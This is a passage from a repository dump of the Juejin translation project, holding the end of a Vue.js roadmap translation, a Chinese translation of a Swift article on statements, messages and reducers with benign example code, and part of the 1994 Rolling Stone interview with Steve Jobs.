月，1.0 版本发布了，并没有在公共接口中有所突破，直到一年后 2.0 版本的发布。在 2.0 发布之前，我们进行了公开设计讨论，并发布了多个 alpha/beta/RC 版本来确保最终版本的稳定性。我们尽力保持接口与 1.0 相似，并提供全面的指导和升级工具。今天，2.0 已经发布了一年多了，在全球的产品内得到广泛应用，我们不认为在可预见的将来需要对主要的接口做修改。我们致力于在对用户最小影响下改进框架。\n\n#### 连续改进 \n\n当然，我们不会只满足于当前我们已经做的事情。\n我们在未来几年的探索和实施的计划中有很多想法，我会将它们分为三类：\n\n##### 近期的改进\n\n这些新特性/改进将会持续发布于 2.x 小版本中，它们可以来自特性需求、来自更广网络开发社区的灵感，以及我们在实际开发中遇到的用例。\n\n##### 中期的改进\n\n有新的 JavaScript 语言特性（比如 ES2015 代理，Promises）可以简化或改进当前的接口，但是因为必须要支持 IE9，现在还不适合放在主分支上，我们计划在并行分支中开始利用这些特性，而这需要最新的主流浏览器支持。\n\n##### 长期的改进\n\n我们还关注新兴的标准，比如 ES 类语法改进（类变量和装饰器），网络组件（自定义元素和 HTML 模块）以及 WebAssembly。我们已经开始了其中一些实验，并且一定会利用它们来进一步改进 Vue 的开发经验和性能，因为它们在浏览器适应方面已经成熟。\n\n#### 长期愿景\n\n很多人问我为什么开始使用 vue.js。老实说，一开始目的是为了“给自己挠痒痒”，创建一个我自己喜欢用的前端库。在这个过程中，随着 Vue 被越来越多的用户接受，我收到了很多来自用户的消息说 Vue 使他们的工作变得越来越令人愉快，因此看上去我的偏好与很多网络开发者朋友们不谋而合。今天，我设想 Vue 的目的变为用来帮助更多开发人员喜欢在网络上创建应用程序。我相信更快乐的开发人员会更加高产，并且最终为每个人创造很多价值。目标需要提供一个可获得的、直观的、同时可靠、强大并且可扩展的框架。我相信我们正处于正轨上，但我们也可以做更多的事情，特别是通过 Web 平台得到比以往更快的发展。\n\n我们为即将到来的事情感到兴奋。\n\n© Monterail, October 2017\n\nMonterail 是一个由 80 多个专家组成的紧密团队\n为创业公司和企业提供网络和移动开发。\n并且我们喜欢 Vue。\n\n[http://www.monterail.com](http://www.monterail.com)\n[hello@monterail.com](mailto:hello@monterail.com)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/statements-messages-reducers.md",
    "content": "\n> * 原文地址：[Statements, messages and reducers](https://www.cocoawithlove.com/blog/statements-messages-reducers.html)\n> * 原文作者：[Matt Gallagher](https://www.cocoawithlove.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/statements-messages-reducers.md](https://github.com/xitu/gold-miner/blob/master/TODO/statements-messages-reducers.md)\n> * 译者：[zhangqippp](https://github.com/zhangqippp)\n> * 校对者：[atuooo](https://github.com/atuooo)，[sqrthree](https://github.com/sqrthree)\n\n# 语句，消息和归约器\n\n在优化程序的设计时，一个通常的建议是将程序拆分成小而独立的功能单元，以便我们可以隔离组件之间的联系，独立地考虑组件内部的行为。\n\n但是如果这是你优化程序的唯一思路，那么在实践中应用它的时候就会有些困难。\n\n在本文中，我将通过一小段代码的简单演进来向你展示如何实践上述的优化建议，最终我们将达成一个并发编程中普遍的模式（在大多数有状态的程序中都很有用），在此种模式中我们从计算单元的三个不同层面构建我们的程序：“语句”、“消息” 和 “归约器”。\n\n> 你可以在 GitHub 上[下载本文的 Swift Playground](https://github.com/mattgallagher/CocoaWithLovePlaygrounds) 。\n\n内容\n- \n- [目标](#目标)\n- [一系列语句](#一系列语句)\n- [通过消息控制你的程序](#通过消息控制你的程序)\n- [通过组件连接构建逻辑](#通过组件连接构建逻辑)\n- [归约器](#归约器)\n- [我们还能做些什么？](#我们还能做些什么)\n- [结论](#结论)\n- [展望…](#展望)\n\n## 目标\n\n本文的目的是介绍如何在程序中将状态独立起来。有很多我们可能想要这么做的原因：\n\n1. 如果控制逻辑是简洁的，那么在单一位置的行为就很容易理解。\n2. 如果控制逻辑是简洁的，模式化和理解组件之间的联系就很简单。\n3. 如果只在单一的位置访问某个状态，那么改变这个访问入口的执行环境（例如队列，线程，或者一个锁的内部）将很容易，同样也可以轻易地将程序变为线程安全的或者同步的。\n4. 如果状态只能以受限制的方式被访问，我们就能够更谨慎地管理依赖，并且在依赖变化时及时更新。\n\n## 一系列语句\n\n**语句**是命令式编程语言（如 Swift ）中的标准计算单元。语句包含赋值，函数和控制流，还可能包括逻辑结果（如状态变化）。\n\n我知道我是在向程序员解释基本的编程术语，我只会简洁的说明。\n\n下面是一段简单的程序，其内部的逻辑是由语句组成的：\n\n```\nfunc printCode(_ code: Int) {\n   if let scalar = UnicodeScalar(code) {\n      print(scalar)\n   } else {\n      print(\"�\")\n   }\n}\n\nlet grinning = 0x1f600\nprintCode(grinning)\n\nlet rollingOnTheFloorLaughing = 0x1f923\nprintCode(rollingOnTheFloorLaughing)\n\nlet notAValidScalar = 0x999999\nprintCode(notAValidScalar)\n\nlet smirkingFace = 0x1f60f\nprintCode(smirkingFace)\n\nlet stuckOutTongueClosedEyes = 0x1f61d\nprintCode(stuckOutTongueClosedEyes)\n```\n\n这段程序会分行打印如下内容： 😀 🤣 � 😏 😝\n\n**上面的被框起来的问号字符不是错误，代码中故意在将参数转化为 `UnicodeScalar` 失败时打印 Unicode 替代符号（`0xfffd`）。**\n\n## 通过消息控制你的程序\n\n纯粹由语句构建的逻辑的最大的问题在于不易于扩展。在寻求减少代码冗余的过程中自然地会导致代码被数据驱动（至少是部分驱动）。\n\n例如，通过数据驱动上述例子可以将最后的 10 行代码减少到 4 行：\n\n```\nlet codes = [0x1f600, 0x1f923, 0x999999, 0x1f60f, 0x1f61d]\nfor c in codes {\n   printCode(c)\n}\n```\n\n当然，上述例子有些过于简单，可能不能清晰地反映出这种变化。我们可以增加这个例子的复杂性来使差异更加明显。\n\n我们将数组中的基本类型 `Int` 替换成一种需要更多处理的类型。\n\n```\nenum Instruction {\n   case print\n   case increment(Int)\n   case set(Int)\n\n   static func array(_ instrs: Instruction...) -> [Instruction] { return instrs }\n}\n```\n\n现在，相对于简单地打印收到的每个 `Int` 值，我们的处理机需要管理一个内部的 `Int` 型的存储器和不同的 `Instruction` 值，这些 `Instruction` 值可能会用 `.set` 方法给存储器赋值，或者用 `.increment` 方法给存储器做累加，又或者用 `.print` 方法打印存储器的值。\n\n来看一下我们会用什么代码来处理数组中的 `Instruction` 对象：\n\n```\nstruct Interpreter {\n   var state: Int = 0\n   func printCode() {\n      if let scalar = UnicodeScalar(state) {\n         print(scalar)\n      } else {\n         print(\"�\")\n      }\n   }\n   mutating func handleInstruction(_ instruction: Instruction) {\n      switch instruction {\n      case .print: printCode()\n      case .increment(let x): state += x\n      case .set(let x): state = x\n      }\n   }\n}\n\nvar interpreter = Interpreter()\nlet instructions = Instruction.array(\n   .set(0x1f600), .print,\n   .increment(0x323), .print,\n   .increment(0x999999), .print,\n   .set(0x1f60f), .print,\n   .increment(0xe), .print\n)\nfor i in instructions {\n   interpreter.handleInstruction(i)\n}\n```\n\n这段代码产生了和之前的例子一样的输出，它在内部使用了和之前类似的 `printCode` 方法，但是实际上是 `Interpreter` 结构体执行了一小段由 `instructions` 数组定义的微程序。\n\n现在可以“更”清楚地看到我们的程序逻辑是由两个层面上的逻辑组成：\n\n1.  `handleInstruction` 方法和 `printCode` 方法中的 Swift 语句解释和执行每一条指令。\n2.  `Instructions.array` 中包含了一系列需要被解释的消息。\n\n我们的第二层计算单元就是所谓的**消息**，它可以是任何能够被放入数据流中传递给组件的数据，这些数据流中的数据的结构本身就能够决定执行结果。\n\n> **术语提示**：我将这些指令称为“消息”，这是沿袭了[过程演算](https://en.wikipedia.org/wiki/Process_calculus)和[参与者模式](https://en.wikipedia.org/wiki/Actor_model)中的术语用法，但有时候也会使用“命令”这个词。在某些情况下，这些消息也会被当成是一种完全的“特定作用域语言”。\n\n## 通过组件连接构建逻辑\n\n上一节的代码最大的问题在于它的结构并不能直观地反映出计算的结构；我们很难一眼就看出逻辑的走向。\n\n我们需要弄明白计算的结构应该是什么样子的。我们做如下尝试：\n\n1. 取一系列的指令\n2. 将这些指令转化为一系列对内部状态的影响\n3. 将消息传递给能够实现`打印`动作的第三方控制台\n\n我们能够从执行这些任务的 `Interpreter` 结构体中识别出这几部分，但是这个结构体没有被直观地组织起来以反映出这三个步骤。\n\n所以我们将代码重构成能够直接地展示这种联系的样子。\n\n```\nvar state: Int = 0\nInstruction.array(\n   .set(0x1f600), .print,\n   .increment(0x323), .print,\n   .increment(0x999999), .print,\n   .set(0x1f60f), .print,\n   .increment(0xe), .print\n).flatMap { (i: Instruction) -> Int? in\n   switch i {\n   case .print: return state\n   case .increment(let x): state += x; return nil\n   case .set(let x): state = x; return nil\n   }\n}.forEach { value in\n   if let scalar = UnicodeScalar(value) {\n      print(scalar)\n   } else {\n      print(\"�\")\n   }\n}\n```\n\n这段代码依然会和之前的例子打印同样的输出。\n\n现在我们有一个三节的管道，它能够直接地反映出上面提到的 3 点：一系列指令，解释指令并对状态值产生影响，以及输出阶段。\n\n## 归约器\n\n我们来看一下管道中间的 `flatMap` 这一节。为什么这一节最重要？\n\n不是因为 `flatMap` 函数本身而是因为我只在这一节中使用了捕获闭包。 `state` 变量只在这一节中被捕获和操作，这相当于 `state` 的值是 `flatMap` 闭包的一个私有变量。这个状态在 `flatMap` 这一节之外只能被间接地访问 —— 即只能通过提供一个 `Instruction` 输入来设置，同样也只能通过 `flatMap` 这一节中选择发送的 `Int` 值来进行访问。\n\n我们可以将这一节抽象为如下模型：\n\n![Figure 1: a diagram of a reducer, its state and messages](https://www.cocoawithlove.com/assets/blog/reducer.svg)\n\n作为“归约器”的管道中某一节的图表\n \n此图中每个 `a` 变量的值都是 `Instruction` 值。 `x` 变量的值是 `state` ， `b` 变量的值是将被发送的 `Int?` 类型的值。\n\n我将之称为**归约器**，这是我想要讨论的第三层计算单元。归约器是一种带有身份标识（ Swift 中的一种引用类型）的实体，其内部状态只能通过出入的消息进行访问。\n\n我说归约器是我想讨论的第三层计算单元是因为我没有考虑归约器内部的逻辑，而是把归约器（典型的 Swift 语句影响被包装的状态）当做一个由其和其它单元的连接定义的黑盒单元来考虑，这些黑盒单元是我们设计更高层逻辑的基础。\n\n另一种解释是当语句**在**上下文中执行逻辑时，归约器通过在执行环境之间跨越形成逻辑。\n\n我使用一个捕获闭包来将一个 `flatMap` 函数和一个 `Int` 变量组成了一个归约器，但大部分归约器是`类`的实例，这些实例会将它们的状态维持的更加紧密，并且帮助我们把逻辑整合到更大的逻辑结构中。\n\n> 用“归约器”这个词来描述这种结构来自于编程语言语义学中的[归约语义学](https://en.wikipedia.org/wiki/Operational_semantics#Reduction_semantics)。有一个奇怪的术语转换，“归约器”也被称为“累加器”，尽管这两个词在语义上近乎对立。这是一个视角的问题：“归约器”是指将输入的消息流归约成为一个单一的状态值；而“累加器”则是指在输入消息到达时这种结构会将新的信息累加到它内部的状态上。\n\n## 我们还能做些什么？\n\n我们可以将归约器的抽象替换为完全不同的机制。\n\n我们可以迁移之前的代码，将对 Swift `数组`值的操作迁移成使用 CwlSignal 响应式编程框架，这其中的工作量不只是拖拽操作这么简单。这样做能够给我们提供异步能力或者给程序的不同部分提供真实的交流通道。\n\n代码如下：\n\n```\nSignal<Instruction>.from(values: [\n   .set(0x1f600), .print,\n   .increment(0x323), .print,\n   .increment(0x999999), .print,\n   .set(0x1f60f), .print,\n   .increment(0xe), .print\n]).filterMap(initialState: 0) { (state: inout Int, i: Instruction) -> Int? in\n   switch i {\n   case .print: return state\n   case .increment(let x): state += x; return nil\n   case .set(let x): state = x; return nil\n   }\n}.subscribeValuesAndKeepAlive { value in\n   if let scalar = UnicodeScalar(value) {\n      print(scalar)\n   } else {\n      print(\"�\")\n   }\n   return true\n}\n```\n\n这里的 `filterMap` 功能更适合作为一个归约器，因为它提供了真实的内部私有状态作为 API 的一部分 —— 没有更多的被捕获变量需要建立私有状态 —— 它在语义上等同于之前的 `flatMap` ，因为它映射了信号中的一系列值并且过滤掉了可选项。\n\n抽象之间的简单变化是可实现的，因为归约器的内容取决于消息，而不是归约器机制本身。\n\n除了归约器之外是否还有其它层次的计算单元？我不清楚，至少我没遇到过。我们已经解决了状态封装的问题，所以任何额外的层次都将是新的问题。但是，如果人工神经网络可以具有“深度学习”，那么为什么编程不能有“深度语义学”？显然，这是未来的趋势 😉。\n\n## 结论\n\n> 你可以在 GitHub 上[下载本文的 Swift Playground](https://github.com/mattgallagher/CocoaWithLovePlaygrounds)。\n\n这里的结论是，将程序分解成小而隔离的组件的最自然的方法是以三个不同的层次组织你的程序：\n\n1. 归约器中的状态代码被限制为只有进出的消息能够访问\n2. 能够将归约器执行为指定状态的消息\n3. 归约器形成的图表结构组成更高级的程序逻辑\n\n这些都不是什么新思路；这一切都源自于 20 世纪 70 年代中期的并行计算理论，而且自从 20 世纪 90 年代初“归约语义学”确立以来，这些思路并没有大的改变。\n\n当然，这并不意味着人们总是遵循这些好的思路。面向对象编程是 20 世纪 90 年代和 21 世纪初人们曾经试图解决所有编程问题的锤子，你可以从对象中构建一个归约器，但并不意味着所有的对象都是归约器。对象中没有限制的接口会使状态，依赖和接口耦合的维护变得非常困难。\n\n然而，我们可以直接将对象建模为归约器，只要通过将公共接口简化成如下内容：\n\n- 构建器\n- 接受消息输入的方法\n- 订阅或者其它连接到消息输出的方法\n\n在这种情况下，**限制**接口的功能会极大地提供维护和迭代设计的能力。\n\n### 展望…\n\n在[通过组件连接构建逻辑](#通过组件连接构建逻辑)这一节的例子中，我对 `flatMap`（不是单子）使用了有争议的定义。在我的下一篇文章中，我将讨论为什么单子被许多功能程序员认为是基本计算单位，而在命令式编程中的严格实现有时却并不如非单子的转换有用。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/steve-jobs-in-1994-the-rolling-stone-interview-20110117.md",
    "content": "\n\n## Even at one of the low points in his career, Jobs still had confidence in the limitless potential of personal computing\n\n\n> * 原文链接 : [Steve Jobs in 1994: The Rolling Stone Interview | Rolling Stone](http://www.rollingstone.com/culture/news/steve-jobs-in-1994-the-rolling-stone-interview-20110117)\n* 原文作者 : [JEFF GOODELL](http://www.rollingstone.com/contributor/jeff-goodell)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者: \n* 状态 :  待定\n\nThe story of Apple CEO Steve Jobs is one of the most familiar in American business -- shaggy Bob-Dylan-loving kid starts a computer company in a Silicon Valley garage and changes the world. But like any compelling story, it has its dark moments. Before the [iPad](http://www.inc.com/topic/Apple+iPod \"Apple iPod\") or the [iPhone](http://www.inc.com/topic/Apple+iPhone \"Apple iPhone\"), Jobs, then the head of the short-lived [NeXT Computer](http://www.inc.com/topic/NeXT+Computer+Inc. \"NeXT Computer Inc.\"), sat down with [Rolling Stone](http://www.inc.com/topic/Rolling+Stone+LLC \"Rolling Stone LLC\")'s [Jeff Goodell](http://www.inc.com/topic/Jeff+Goodell \"Jeff Goodell\"). It was 1994, Jobs had long ago been booted from Apple, the internet was still the province of geeks and academics, and the personal computer revolution looked like it might be over. But even at one of the low points in his career, Jobs still had confidence in the limitless potential of personal computing. Read on to get Jobs' prescient take on PDAs and object-oriented software, as well as his relationship with [Bill Gates](http://www.inc.com/topic/Bill+Gates \"Bill Gates\") and why he wanted the internet in his den, but not living room. Steve Jobs [died of pancreatic cancer at the age of 56](../../../culture/news/steve-jobs-apple-founder-dead-at-56-20111005) on October 5th, 2011.\n\nLike other Phenomena of the '80s, Steve Jobs was supposed to be long gone by now. After the spectacular rise of Apple, which went from a garage start-up to a $1.4 billion company in just eight years, the Entrepreneur of the Decade (as one magazine anointed him in 1989) tried to do it all again with a new company called NeXT. He was going to build the next generation of the personal computer, a machine so beautiful, so powerful, so _insanely great,_ it would put Apple to shame. It didn't happen. After eight long years of struggle and after running through some $250 million, NeXT closed down its hardware division last year and laid off more than 200 employees. It seemed only a matter of time until the whole thing collapsed and Jobs disappeared into hyperspace.\n\nBut it turns out that Jobs isn't as far gone as some techno-pundits thought. There are big changes coming in software development — and Jobs, of all people, is trying to lead the way. This time the Holy Grail is object-oriented programming; some have compared the effect it will have on the production of software to the effect the industrial revolution had on manufactured goods. \"In my 20 years in this industry, I have never seen a revolution as profound as this,\" says Jobs, with characteristic understatement. \"You can build software literally five to 10 times faster, and that software is much more reliable, much easier to maintain and much more powerful.\"\n\n_This article appeared in the [June 16, 1994](../../plus/archive#/2/598/C1/S) issue of Rolling Stone. The issue is available in the [online archive.](../../../allaccess)_\n\nOf course, this being Silicon Valley, there is always a new revolution to hype. And to hear it coming from Jobs — Mr. Revolution himself — is bound to raise some eyebrows. \"Steve is a little like the boy who cried wolf,\" says Robert Cringely, a columnist at _Info World,_ a PC industry newsweekly. \"He has cried revolution one too many times. People still listen to him, but now they're more skeptical.\" And even if object-oriented software does take off, Jobs may very well end up a minor figure rather than the flag-waving leader of the pack he clearly sees himself as.\n\nWhatever role Jobs ends up playing, there is no question evolutionary forces will soon reshape the software industry. Since the Macintosh changed the world 10 years ago with its brilliant point-and-click interface, all the big leaps in computer evolution have been on the hardware side. Machines have gotten smaller, faster and cheaper. Software, by contrast, has gotten bigger, more complicated and much more expensive to produce. Writing a new spreadsheet or word-processing program these days is a tedious process, like building a skyscraper out of toothpicks. Object-oriented programming will change that. To put it simply, it will allow gigantic, complex programs to be assembled like Tinkertoys. Instead of starting from the ground up every time, layering in one line of code after another, programmers will be able to use preassembled chunks to build 80 percent of a program, thus saving an enormous amount of time and money. Because these objects will work with a wide range of interfaces and applications, they will also eliminate many of the compatibility problems that plague traditional software.\n\nFor now, the beneficiary of all this is corporate America, which needs powerful custom software to help manage huge databases on its networks. Because of the massive hardware requirements for object-oriented software, it will be years before it becomes practical for small businesses and individual users (decent performance out of NeXT's software on a 486/Pentium processor, for example, requires 24 megs of RAM and 200 megs on a hard drive). Still, in the long run, object-oriented software will vastly simplify the task of writing programs, eventually making it accessible even to folks without degrees from MIT.\n\nNo one disputes the fact that NeXT has a leg up on this new technology. Unlike most of its competitors, whose object-oriented software is still in the prototype stage, NEXTSTEP (NeXT's operating system software) has been out in the real world for several years. It's been road-tested, revised, refined, and it is, by all accounts, a solid piece of work. Converts include McCaw Cellular, Swiss Bank and Chrysler Financial. But as the overwhelming success of Microsoft has shown, the company with the best product doesn't always win. For NeXT to succeed, it will have to go up against two powerhouses: Taligent, the new partnership of Apple and IBM, and Bill Gates and his $4 billion-a-year Microsoft steamroller. \"Right now, it's a horse race between those three companies,\" says Esther Dyson, a Silicon Valley marketing guru. A recent $10 million deal with Sun Microsystems — the workstation company that was once NeXT's arch rival — has breathed new life into NeXT, but it is only one step in a very long journey. Still, few dare count NeXT out.\n\nToday, Jobs, 39, seems eager to distance himself from his reputation as the _Wunderkind_ of the '80s. He wears small, round John Lennon-style glasses now, and his boyish face is hidden behind a shaggy, Left Bank-poet beard. During our interview at the NeXT offices in Redwood City, Calif., just 20 miles north of his old Apple fiefdom, he took particular joy in bashing his old rival Bill Gates but avoided discussing other heavyweights by name. Trademark Jobsian phrases like \"insanely great\" or \"the next big thing\" were nowhere to be found. Friends say the _Sturm und Drang_ of the past few years has humbled Jobs ever so slightly; he is a devoted family man now, and on weekends, he can often be seen Rollerblading with his wife and two kids through the streets of Palo Alto.\n\n\"Remember, this is a guy who never believed any of the rules applied to him,\" one colleague says. \"Now, I think he's finally realized that he's mortal, just like the rest of us.\"\n\n**It's been 10 years since the Macintosh was introduced. When you look around at the technological landscape today, what's most surprising to you?**  \nPeople say sometimes, \"You work in the fastest-moving industry in the world.\" I don't feel that way. I think I work in one of the slowest. It seems to take forever to get anything done. All of the graphical-user interface stuff that we did with the Macintosh was pioneered at Xerox PARC [the company's legendary Palo Alto Research Center] and with Doug Engelbart at SRI [a future-oriented think tank at Stanford] in the mid-'70s. And here we are, just about the mid-'90s, and it's kind of commonplace now. But it's about a 10-to-20-year lag. That's a long time.\n\nThe reason for that is, it seems to take a very unique combination of technology, talent, business and marketing and luck to make significant change in our industry. It hasn't happened that often.\n\nThe other interesting thing is that, in general, business tends to be the fueling agent for these changes. It's simply because they have a lot of money. They're willing to pay money for things that will save them money or give them new capabilities. And that's a hard one sometimes, because a lot of the people who are the most creative in this business aren't doing it because they want to help corporate America.\n\nA perfect example is the PDA [Personal Digital Assistant] stuff, like Apple's Newton. I'm not real optimistic about it, and I'll tell you why. Most of the people who developed these PDAs developed them because they thought individuals were going to buy them and give them to their families. My friends started General Magic [a new company that hopes to challenge the Newton]. They think your kids are going to have these, your grandmother's going to have one, and you're going to all send messages. Well, at $1,500 a pop with a cellular modem in them, I don't think too many people are going to buy three or four for their family. The people who are going to buy them in the first five years are mobile professionals.\n\nAnd the problem is, the psychology of the people who develop these things is just not going to enable them to put on suits and hop on planes and go to Federal Express and pitch their product.\n\nTo make step-function changes, revolutionary changes, it takes that combination of technical acumen and business and marketing — and a culture that can somehow match up the reason you developed your product and the reason people will want to buy it. I have a great respect for incremental improvement, and I've done that sort of thing in my life, but I've always been attracted to the more revolutionary changes. I don't know why. Because they're harder. They're much more stressful emotionally. And you usually go through a period where everybody tells you that you've completely failed.\n\n* * *\n\n**Is that the period you're emerging from now?**  \nI hope so. I've been there before, and I've recently been there again.\n\nAs you know, most of what I've done in my career has been software. The Apple II wasn't much software, but the Mac was just software in a cool box. We had to build the box because the software wouldn't run on any other box, but nonetheless, it was mainly software. I was involved in PostScript and the formation of Adobe, and that was all software. And what we've done with NEXTSTEP is really all software. We tried to sell it in a really cool box, but we learned a very important lesson. When you ask people to go outside of the mainstream, they take a risk. So there has to be some important reward for taking that risk or else they won't take it\n\nWhat we learned was that the reward can't be one and a half times better or twice as good. That's not enough. The reward has to be like three or four or five times better to take the risk to jump out of the mainstream.\n\nThe problem is, in hardware you can't build a computer that's twice as good as anyone else's anymore. Too many people know how to do it. You're lucky if you can do one that's one and a third times better or one and a half times better. And then it's only six months before everybody else catches up. But you can do it in software. As a matter of fact, I think that the leap that we've made is at least five years ahead of anybody.\n\n**Let's talk about the evolution of the PC. About 30 percent of American homes have computers. Businesses are wired. Video-game machines are rapidly becoming as powerful as PCs and in the near future will be able to do everything that traditional desktop computers can do. Is the PC revolution over?**  \nNo. Well, I don't know exactly what you mean by your question, but I think that the PC revolution is far from over. What happened with the Mac was — well, first I should tell you my theory about Microsoft. Microsoft has had two goals in the last 10 years. One was to copy the Mac, and the other was to copy Lotus' success in the spreadsheet — basically, the applications business. And over the course of the last 10 years, Microsoft accomplished both of those goals. And now they are completely lost.\n\nThey were able to copy the Mac because the Mac was frozen in time. The Mac didn't change much for the last 10 years. It changed maybe 10 percent. It was a sitting duck. It's amazing that it took Microsoft 10 years to copy something that was a sitting duck. Apple, unfortunately, doesn't deserve too much sympathy. They invested hundreds and hundreds of millions of dollars into R&D, but very little came out They produced almost no new innovation since the original Mac itself.\n\nSo now, the original genes of the Macintosh have populated the earth. Ninety percent in the form of Windows, but nevertheless, there are tens of millions of computers that work like that. And that's great. The question is, what's next? And what's going to keep driving this PC revolution?\n\nIf you look at the goal of the '80s, it was really individual productivity. And that could be answered with shrink-wrapped applications [off-the-shelf software]. If you look at the goal of the '90s — well, if you look at the personal computer, it's going from being a tool of computation to a tool of communication. It's going from individual productivity to organizational productivity and also operational productivity. What I mean by that is, the market for mainframe and minicomputers is still as large as the PC market And people don't buy those things to run shrink-wrapped spreadsheets and word processors on. They buy them to run applications that automate the heart of their company. And they don't buy these applications shrink-wrapped. You can't go buy an application to run your hospital, to do derivatives commodities trading or to run your phone network. They don't exist. Or if they do, you have to customize them so much that they're really custom apps by the time you get through with them.\n\nThese custom applications really used to just be in the back office — in accounting, manufacturing. But as business is getting much more sophisticated and consumers are expecting more and more, these custom apps have invaded the front office. Now, when a company has a new product, it consists of only three things: an idea, a sales channel and a custom app to implement the product. The company doesn't implement the product by hand anymore or service it by hand. Without the custom app, it doesn't have the new product or service. I'll give you an example. MCI's Friends and Family is the most successful business promotion done in the last decade — measured in dollars and cents. AT&T did not respond to that for 18 months. It cost them billions of dollars. Why didn't they? They're obviously smart guys. They didn't because they couldn't create a custom app to run a new billing system.\n\n**So how does this connect with the next generation of the PC?**  \nI believe the next generation of the PC is going to be driven by much more advanced software, and it's going to be driven by custom software for business. Business has focused on shrink-wrapped software on the PCs, and that's why PCs haven't really touched the heart of the business. And now they want to bring them into the heart of the business, and everyone is going to have to run custom apps alongside their shrink-wrapped apps because that's how the enterprise is going to get their competitive advantage in things.\n\nFor example, McCaw Cellular, the largest cellular provider in the world, runs the whole front end of their business on NEXTSTEP now. They're giving PCs with custom apps to the phone dealers so that when you buy a cellular phone, it used to take you a day and a half to get you up on the network. Now it takes five minutes. The phone dealer just runs these custom apps, they're networked back to a server in Seattle, and in a minute and a half, with no human intervention, your phone works on the entire McCaw network.\n\nIn addition to that, the applications business right now — if you look at even the shrink-wrap business — is contracting dramatically. It now takes 100 to 200 people one to two years just to do a major revision to a word processor or spreadsheet. And so, all the really creative people who like to work in small teams of three, four, five people, they've all been squeezed out of that business. As you may know, Windows is the worst development environment ever made. And Microsoft doesn't have any interest in making it better, because the fact that its really hard to develop apps in Windows plays to Microsoft's advantage. You can't have small teams of programmers writing word processors and spreadsheets — it might upset their competitive advantage. And they can afford to have 200 people working on a project, no problem.\n\nWith our technology, with objects, literally three people in a garage can blow away what 200 people at Microsoft can do. Literally can blow it away. Corporate America has a need that is so huge and can save them so much money, or make them so much money, or cost them so much money if they miss it, that they are going to fuel the object revolution.\n\n**That may be so. But when people think of Steve Jobs, they think of the man whose mission was to bring technology to the masses — not to corporate America.**  \nWell, life is always a little more complicated than it appears to be.\n\nWhat drove the success of the Apple II for many years and let consumers have the benefit of that product was Visi-Calc selling into corporate America. Corporate America was buying Apple IIs and running Visi-Calc on them like crazy so that we could get our volumes up and our prices down and sell that as a consumer product on Mondays and Wednesdays and Fridays while selling it to business on Tuesdays and Thursdays. We were giving away Macintoshes to higher ed while we were selling them for a nice profit to corporate America. So it takes both.\n\nWhat's going to fuel the object revolution is not the consumer. The consumer is not going to see the benefits until after business sees them and we begin to get this stuff into volume. Because unfortunately, people are not rebelling against Microsoft. They don't know any better. They're not sitting around thinking that they have a giant problem that needs to be solved — whereas corporations are. The PC market has done less and less to serve their growing needs. They have a giant need, and they know it. We don't have to spend money educating them about the problem — they know they have a problem. There's a giant vacuum sucking us in there, and there's a lot of money in there to fuel the development of this object industry. And everyone will benefit from that\n\nI visited Xerox PARC in 1979, when I was at Apple. That visit's been written about — it was a very important visit. I remember being shown their rudimentary graphical-user interface. It was incomplete, some of it wasn't even right, but the germ of the idea was there. And within 10 minutes, it was so obvious that every computer would work this way someday. You knew it with every bone in your body. Now, you could argue about the number of years it would take, you could argue about who the winners and losers in terms of companies in the industry might be, but I don't think rational people could argue that every computer would work this way someday.\n\nI feel the same way about objects, with every bone in my body. All software will be written using this object technology someday. No question about it. You can argue about how many years it's going to take, you can argue who the winners and losers are going to be in terms of the companies in this industry, but I don't think a rational person can argue that all software will not be built this way.\n\n* * *\n\n**Would you explain, in simple terms, exactly what object-oriented software is?**  \nObjects are like people. They're living, breathing things that have knowledge inside them about how to do things and have memory inside them so they can remember things. And rather than interacting with them at a very low level, you interact with them at a very high level of abstraction, like we're doing right here.\n\nHere's an example: If I'm your laundry object, you can give me your dirty clothes and send me a message that says, \"Can you get my clothes laundered, please.\" I happen to know where the best laundry place in San Francisco is. And I speak English, and I have dollars in my pockets. So I go out and hail a taxicab and tell the driver to take me to this place in San Francisco. I go get your clothes laundered, I jump back in the cab, I get back here. I give you your clean clothes and say, \"Here are your clean clothes.\"\n\nYou have no idea how I did that. You have no knowledge of the laundry place. Maybe you speak French, and you can't even hail a taxi. You can't pay for one, you don't have dollars in your pocket. Yet I knew how to do all of that. And you didn't have to know any of it. All that complexity was hidden inside of me, and we were able to interact at a very high level of abstraction. That's what objects are. They encapsulate complexity, and the interfaces to that complexity are high level.\n\n**You brought up Microsoft earlier. How do you feel about the fact that Bill Gates has essentially achieved dominance in the software industry with what amounts to your vision of how personal computers should work?**  \nI don't really know what that all means. If you say, well, how do you feel about Bill Gates getting rich off some of the ideas that we had ... well, you know, the goal is not to be the richest man in the cemetery. It's not my goal anyway.\n\nThe thing I don't think is good is that I don't believe Microsoft has transformed itself into an agent for improving things, an agent for coming up with the next revolution. The Japanese, for example, used to be accused of just copying — and indeed, in the beginning, that's just what they did. But they got quite a bit more sophisticated and started to innovate — look at 